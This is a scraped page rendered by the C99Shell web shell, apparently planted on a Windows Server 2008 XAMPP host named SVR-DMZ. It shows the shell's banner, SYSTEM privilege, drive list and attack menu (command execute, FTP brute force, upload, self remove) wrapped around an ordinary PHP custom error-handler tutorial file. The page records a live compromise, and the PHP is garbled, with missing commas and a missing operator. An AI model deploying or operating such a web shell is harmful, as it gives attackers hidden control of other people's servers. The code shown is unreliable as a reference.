!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\jaime\Xcode\ErrorHandling\   drwxrwxrwx
Free 8.8 GB of 239.26 GB (3.68%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     8.php (1.28 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Custom Error handler
 *
 * @param int error level number
 * @param string error message
 * @param string php script where error occurred
 * @param int line number in script where error was triggered
 * @param array current state of all global variables
 */
function myErrorHandler ($errLvl$errMsg$errFile$errLine$errContext) {
    
// Switch statement watching for specific error levels
    
switch ( $errLvl ) {
        case 
E_USER_ERROR:
            
$error="
                <h2>Custom Error Message</h2>
                <b>E_USER_ERROR</b> in 
$errFile on line $errLine<br />
                
$errMsg";
        break;
        
// Catch all other errors
        
default:
            
$error="
                <h2>Default Error Message</h2>
                <b>Level 
$errLvl</b> in $errFile on line $errLine<br />
                
$errMsg";
        break;
    }
    echo ( 
$error );
}

// Set the custom error handler
set_error_handler('myErrorHandler');

// Attempt to disable E_WARNING messages (applies to in build handler only)
error_reporting(E_ALL E_WARNING);

// Trigger an error
if ( !@mysql_connect('localhost','wronguser','wrongpassword') )
    
trigger_error('Error connecting to MySQL Server: '.mysql_error(),
                    
E_USER_ERROR);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--